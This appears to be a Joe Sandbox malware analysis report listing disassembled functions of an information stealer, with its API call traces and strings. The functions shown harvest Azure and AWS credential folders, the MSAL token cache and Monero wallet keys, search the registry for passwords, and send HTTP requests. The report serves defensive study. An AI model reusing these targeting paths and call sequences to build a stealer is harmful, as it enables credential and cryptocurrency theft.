Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: bfdd211ee33012eb882df06d82db3ad04638a0b99d8785682f2ad4c93f2da623
Instruction ID: 1357ee00b7b5152bafb0ebaab56c598dd81d6165d87e6829a3c4f55417d27a38
Opcode Fuzzy Hash: bfdd211ee33012eb882df06d82db3ad04638a0b99d8785682f2ad4c93f2da623
Instruction Fuzzy Hash: 5F12EB71910218AADB59EB94DD92FEEB738FF14300F5081A9B116A21D1EF742F49CF62

Function 00808320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

RegOpenKeyExA.KERNEL32(00000000,0135B388,00000000,00020019,00000000,008105B6), ref: 008083A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00808426
wsprintfA.USER32 ref: 00808459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0080847B
RegCloseKey.ADVAPI32(00000000), ref: 0080848C
RegCloseKey.ADVAPI32(00000000), ref: 00808499

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Strings

?, xrefs: 0080837A
%s\%s, xrefs: 0080844D
- , xrefs: 008085A3

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: e15d9c97a81087f402698b93ca621bd50c605aaa8d8beb0e051a664399b4d8d7
Instruction ID: 3571fdf0c488a3b509de40657ac7cdb91c59ff1f6ef8537616c35422c8ac4921
Opcode Fuzzy Hash: e15d9c97a81087f402698b93ca621bd50c605aaa8d8beb0e051a664399b4d8d7
Instruction Fuzzy Hash: 35811D719102289BEB68DB54CC95FEAB7B8FF58700F008298F149E6180DF756B86CF91

Function 007F6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Part of subcall function 007F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007F4839
Part of subcall function 007F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 007F4849

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

InternetOpenA.WININET(00810DFE,00000001,00000000,00000000,00000000), ref: 007F62E1
StrCmpCA.SHLWAPI(?,0135E968), ref: 007F6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007F6335
HttpOpenRequestA.WININET(00000000,GET,?,0135E020,00000000,00000000,00400100,00000000), ref: 007F6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 007F63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 007F63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 007F63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 007F646D
InternetCloseHandle.WININET(00000000), ref: 007F64EF
InternetCloseHandle.WININET(00000000), ref: 007F64F9
InternetCloseHandle.WININET(00000000), ref: 007F6503

Strings

GET, xrefs: 007F637C
ERROR, xrefs: 007F6407
ERROR, xrefs: 007F64C9

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: dc666d0217ce3a2532a0add19bd986bc79163efa15ba317a6165231b0b9677ae
Instruction ID: e26e0a72bd496e4b9e7b108f3096654f50f215cffcf2dc720b040bc4b1e2d7e6
Opcode Fuzzy Hash: dc666d0217ce3a2532a0add19bd986bc79163efa15ba317a6165231b0b9677ae
Instruction Fuzzy Hash: 0D710C71A00218ABDB54EBA4DC89FEE7778FB54700F108158F609AB2D0DBB46A85CF52

Function 00805510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A820: lstrlen.KERNEL32(007F4F05,?,?,007F4F05,00810DDE), ref: 0080A82B
Part of subcall function 0080A820: lstrcpy.KERNEL32(00810DDE,00000000), ref: 0080A885

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00805644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 008056A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00805857

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Part of subcall function 008051F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00805228

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 008052C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00805318
Part of subcall function 008052C0: lstrlen.KERNEL32(00000000), ref: 0080532F
Part of subcall function 008052C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00805364
Part of subcall function 008052C0: lstrlen.KERNEL32(00000000), ref: 00805383
Part of subcall function 008052C0: lstrlen.KERNEL32(00000000), ref: 008053AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0080578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00805940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00805A0C
Sleep.KERNEL32(0000EA60), ref: 00805A1B

Strings

ERROR, xrefs: 0080577D
ERROR, xrefs: 00805932
ERROR, xrefs: 00805693
ERROR, xrefs: 00805636
ERROR, xrefs: 00805849
ERROR, xrefs: 008059FE

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: f78e87f8d56df0d71d39d391fec8d712e065d2ca286c20b2b6df8c060cdc196d
Instruction ID: 115cdacef58382a827d30f1bbba93a6dc6abad85bd512731e02c9146136b68a2
Opcode Fuzzy Hash: f78e87f8d56df0d71d39d391fec8d712e065d2ca286c20b2b6df8c060cdc196d
Instruction Fuzzy Hash: CDE103729102089ADB98FBA4DC96EEE7338FF54300F50C528B556D61D1EF346A49CBA3

Function 00804D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00808DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00808E0B

lstrcat.KERNEL32(?,00000000), ref: 00804DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00804DCD

Part of subcall function 00804910: wsprintfA.USER32 ref: 0080492C
Part of subcall function 00804910: FindFirstFileA.KERNEL32(?,?), ref: 00804943

lstrcat.KERNEL32(?,00000000), ref: 00804E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00804E59

Part of subcall function 00804910: StrCmpCA.SHLWAPI(?,00810FDC), ref: 00804971
Part of subcall function 00804910: StrCmpCA.SHLWAPI(?,00810FE0), ref: 00804987
Part of subcall function 00804910: FindNextFileA.KERNEL32(000000FF,?), ref: 00804B7D
Part of subcall function 00804910: FindClose.KERNEL32(000000FF), ref: 00804B92

lstrcat.KERNEL32(?,00000000), ref: 00804EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00804EE5

Part of subcall function 00804910: wsprintfA.USER32 ref: 008049B0
Part of subcall function 00804910: StrCmpCA.SHLWAPI(?,008108D2), ref: 008049C5
Part of subcall function 00804910: wsprintfA.USER32 ref: 008049E2
Part of subcall function 00804910: PathMatchSpecA.SHLWAPI(?,?), ref: 00804A1E
Part of subcall function 00804910: lstrcat.KERNEL32(?,0135EA08), ref: 00804A4A
Part of subcall function 00804910: lstrcat.KERNEL32(?,00810FF8), ref: 00804A5C
Part of subcall function 00804910: lstrcat.KERNEL32(?,?), ref: 00804A70
Part of subcall function 00804910: lstrcat.KERNEL32(?,00810FFC), ref: 00804A82
Part of subcall function 00804910: lstrcat.KERNEL32(?,?), ref: 00804A96
Part of subcall function 00804910: CopyFileA.KERNEL32(?,?,00000001), ref: 00804AAC
Part of subcall function 00804910: DeleteFileA.KERNEL32(?), ref: 00804B31

Strings

Azure\.IdentityService, xrefs: 00804EEB
\.azure\, xrefs: 00804DC1
*.*, xrefs: 00804DD8
\.aws\, xrefs: 00804E4D
*.*, xrefs: 00804E64
Azure\.azure, xrefs: 00804DD3
Azure\.aws, xrefs: 00804E5F
\.IdentityService\, xrefs: 00804ED9
msal.cache, xrefs: 00804EF0

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 6d0191587259432573f7bce9534248412061891997bfbfe2ab6f65015908f598
Instruction ID: f822a5dcbe7f9998f76f54975b941ad9f3e04484a904b24259ca839fc1e53ec0
Opcode Fuzzy Hash: 6d0191587259432573f7bce9534248412061891997bfbfe2ab6f65015908f598
Instruction Fuzzy Hash: A54172BA940218A7DB54F760DC4BFE9723CFF24700F404454B689A61C1EEB99BC98B93

Function 007F1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 007F12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007F12B4
Part of subcall function 007F12A0: RtlAllocateHeap.NTDLL(00000000), ref: 007F12BB
Part of subcall function 007F12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 007F12D7
Part of subcall function 007F12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 007F12F5
Part of subcall function 007F12A0: RegCloseKey.ADVAPI32(?), ref: 007F12FF

lstrcat.KERNEL32(?,00000000), ref: 007F134F
lstrlen.KERNEL32(?), ref: 007F135C
lstrcat.KERNEL32(?,.keys), ref: 007F1377

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 00808B60: GetSystemTime.KERNEL32(00810E1A,0135A690,008105AE,?,?,007F13F9,?,0000001A,00810E1A,00000000,?,01359198,?,\Monero\wallet.keys,00810E17), ref: 00808B86

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 007F1465

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Part of subcall function 007F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007F99EC
Part of subcall function 007F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 007F9A11
Part of subcall function 007F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 007F9A31
Part of subcall function 007F99C0: ReadFile.KERNEL32(000000FF,?,00000000,007F148F,00000000), ref: 007F9A5A
Part of subcall function 007F99C0: LocalFree.KERNEL32(007F148F), ref: 007F9A90
Part of subcall function 007F99C0: CloseHandle.KERNEL32(000000FF), ref: 007F9A9A

DeleteFileA.KERNEL32(00000000), ref: 007F14EF

Strings

\Monero\wallet.keys, xrefs: 007F138D
.keys, xrefs: 007F136B
wallet_path, xrefs: 007F1330
SOFTWARE\monero-project\monero-core, xrefs: 007F1335

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 6e21f2ebac2c5edf9c39542204df933ab9b1ed91c74cdf62acfcfb504dde5e55
Instruction ID: d1b5c1ccdc476be73e9fdfd1ea987eadf2901c06bafb2f3b2ae33f0be456edd3
Opcode Fuzzy Hash: 6e21f2ebac2c5edf9c39542204df933ab9b1ed91c74cdf62acfcfb504dde5e55
Instruction Fuzzy Hash: 1E5131B195021997CB59EB64DD92FED733CFF54300F4041A8B60AE21C1EE746B89CAA6

Function 007F75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007F72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 007F733A
Part of subcall function 007F72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 007F73B1
Part of subcall function 007F72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 007F740D
Part of subcall function 007F72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 007F7452
Part of subcall function 007F72D0: HeapFree.KERNEL32(00000000), ref: 007F7459

lstrcat.KERNEL32(2F9A7020,008117FC), ref: 007F7606
lstrcat.KERNEL32(2F9A7020,00000000), ref: 007F7648
lstrcat.KERNEL32(2F9A7020, : ), ref: 007F765A
lstrcat.KERNEL32(2F9A7020,00000000), ref: 007F768F
lstrcat.KERNEL32(2F9A7020,00811804), ref: 007F76A0
lstrcat.KERNEL32(2F9A7020,00000000), ref: 007F76D3
lstrcat.KERNEL32(2F9A7020,00811808), ref: 007F76ED
task.LIBCPMTD ref: 007F76FB

Strings

: , xrefs: 007F764E

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
